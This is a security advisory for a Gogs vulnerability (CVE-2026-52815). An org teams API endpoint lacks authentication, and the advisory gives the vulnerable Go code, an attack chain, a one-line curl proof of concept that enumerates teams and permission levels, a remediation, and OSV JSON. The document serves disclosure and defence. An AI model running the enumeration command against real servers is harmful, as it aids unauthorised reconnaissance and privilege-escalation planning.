GHSA-744X-3838-5R56
Vulnerability from github – Published: 2026-06-23 17:13 – Updated: 2026-06-23 17:13Summary
Gogs has an unauthenticated information disclosure vulnerability. The GET /api/v1/orgs/:orgname/teams endpoint at internal/route/api/v1/org_team.go:8 returns all teams for any organization without requiring authentication. The route group at internal/route/api/v1/api.go:380-385 lacks the reqToken() middleware, and the listTeams() handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.
Affected Versions
Gogs (all current versions)
Vulnerability Details
Root Cause: Missing reqToken() middleware on org teams route group
internal/route/api/v1/api.go lines 380-385:
// Org teams route group — no reqToken() middleware
m.Group("/:orgname", func() {
m.Get("/teams", org.ListTeams) // No auth required
}, orgAssignment(true))
The orgAssignment(true) middleware only loads the organization object — it performs no authentication. The listTeams() handler at org_team.go:8 returns all teams unconditionally:
func ListTeams(c *context.APIContext) {
org := c.Org.Organization
teams, err := database.GetTeamsByOrgID(org.ID)
// Returns all teams — no c.IsLogged check, no permission check
}
Compare with other org endpoints that correctly require authentication:
m.Group("/orgs/:orgname", func() {
// ... other endpoints ...
}, reqToken(), orgAssignment(true, true)) // reqToken() enforces auth
Attack Chain
- Attacker sends
GET /api/v1/orgs/target-org/teamswith no authentication orgAssignment(true)loads the organization but does not check authListTeams()queries all teams and returns them- Response includes team IDs, names, descriptions, and permission levels (read/write/admin/owner)
Proof of Concept
# List all teams in an organization — no authentication needed
curl -s "http://TARGET:3000/api/v1/orgs/myorg/teams" | python3 -m json.tool
# Expected: 200 OK with full team list
# [
# {
# "id": 1,
# "name": "Owners",
# "description": "Admin team",
# "permission": "owner"
# },
# {
# "id": 2,
# "name": "backend-devs",
# "description": "Backend development team",
# "permission": "write"
# }
# ]
Impact
An unauthenticated attacker can:
- Enumerate all teams within any organization, including private/internal teams
- Discover team permission levels (read/write/admin/owner), aiding privilege escalation planning
- Map organizational structure and identify high-value targets (admin/owner teams)
- Harvest team IDs for use in other API calls that may have weaker authorization checks
Suggested Remediation
m.Group("/:orgname", func() {
m.Get("/teams", org.ListTeams)
}, reqToken(), orgAssignment(true))
Add reqToken() middleware to the org teams route group, consistent with other authenticated org endpoints. Additionally, ListTeams() should verify the authenticated user is a member of the organization.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "gogs.io/gogs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.14.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-52815"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T17:13:25Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nGogs has an unauthenticated information disclosure vulnerability. The `GET /api/v1/orgs/:orgname/teams` endpoint at `internal/route/api/v1/org_team.go:8` returns all teams for any organization without requiring authentication. The route group at `internal/route/api/v1/api.go:380-385` lacks the `reqToken()` middleware, and the `listTeams()` handler performs no authentication check, exposing team IDs, names, descriptions, and permission levels to any unauthenticated caller.\n\n## Affected Versions\n\nGogs (all current versions)\n\n## Vulnerability Details\n\n### Root Cause: Missing reqToken() middleware on org teams route group\n\n`internal/route/api/v1/api.go` lines 380-385:\n\n```go\n// Org teams route group \u2014 no reqToken() middleware\nm.Group(\"/:orgname\", func() {\n m.Get(\"/teams\", org.ListTeams) // No auth required\n}, orgAssignment(true))\n```\n\nThe `orgAssignment(true)` middleware only loads the organization object \u2014 it performs no authentication. The `listTeams()` handler at `org_team.go:8` returns all teams unconditionally:\n\n```go\nfunc ListTeams(c *context.APIContext) {\n org := c.Org.Organization\n teams, err := database.GetTeamsByOrgID(org.ID)\n // Returns all teams \u2014 no c.IsLogged check, no permission check\n}\n```\n\nCompare with other org endpoints that correctly require authentication:\n\n```go\nm.Group(\"/orgs/:orgname\", func() {\n // ... other endpoints ...\n}, reqToken(), orgAssignment(true, true)) // reqToken() enforces auth\n```\n\n### Attack Chain\n\n- Attacker sends `GET /api/v1/orgs/target-org/teams` with no authentication\n- `orgAssignment(true)` loads the organization but does not check auth\n- `ListTeams()` queries all teams and returns them\n- Response includes team IDs, names, descriptions, and permission levels (read/write/admin/owner)\n\n## Proof of Concept\n\n```bash\n# List all teams in an organization \u2014 no authentication needed\ncurl -s \"http://TARGET:3000/api/v1/orgs/myorg/teams\" | python3 -m json.tool\n\n# Expected: 200 OK with full team list\n# [\n# {\n# \"id\": 1,\n# \"name\": \"Owners\",\n# \"description\": \"Admin team\",\n# \"permission\": \"owner\"\n# },\n# {\n# \"id\": 2,\n# \"name\": \"backend-devs\",\n# \"description\": \"Backend development team\",\n# \"permission\": \"write\"\n# }\n# ]\n```\n\n## Impact\n\nAn unauthenticated attacker can:\n\n- Enumerate all teams within any organization, including private/internal teams\n- Discover team permission levels (read/write/admin/owner), aiding privilege escalation planning\n- Map organizational structure and identify high-value targets (admin/owner teams)\n- Harvest team IDs for use in other API calls that may have weaker authorization checks\n\n## Suggested Remediation\n\n```go\nm.Group(\"/:orgname\", func() {\n m.Get(\"/teams\", org.ListTeams)\n}, reqToken(), orgAssignment(true))\n```\n\nAdd `reqToken()` middleware to the org teams route group, consistent with other authenticated org endpoints. Additionally, `ListTeams()` should verify the authenticated user is a member of the organization.",
"id": "GHSA-744x-3838-5r56",
"modified": "2026-06-23T17:13:25Z",
"published": "2026-06-23T17:13:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/security/advisories/GHSA-744x-3838-5r56"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/pull/8336"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/commit/2ebc0e27069deade992219e10a89fbc44bec8bb9"
},
{
"type": "PACKAGE",
"url": "https://github.com/gogs/gogs"
},
{
"type": "WEB",
"url": "https://github.com/gogs/gogs/releases/tag/v0.14.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
"type": "CVSS_V4"
}
],
"summary": "Gogs Vulnerable to Unauthenticated Organization Teams Information Disclosure via API"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.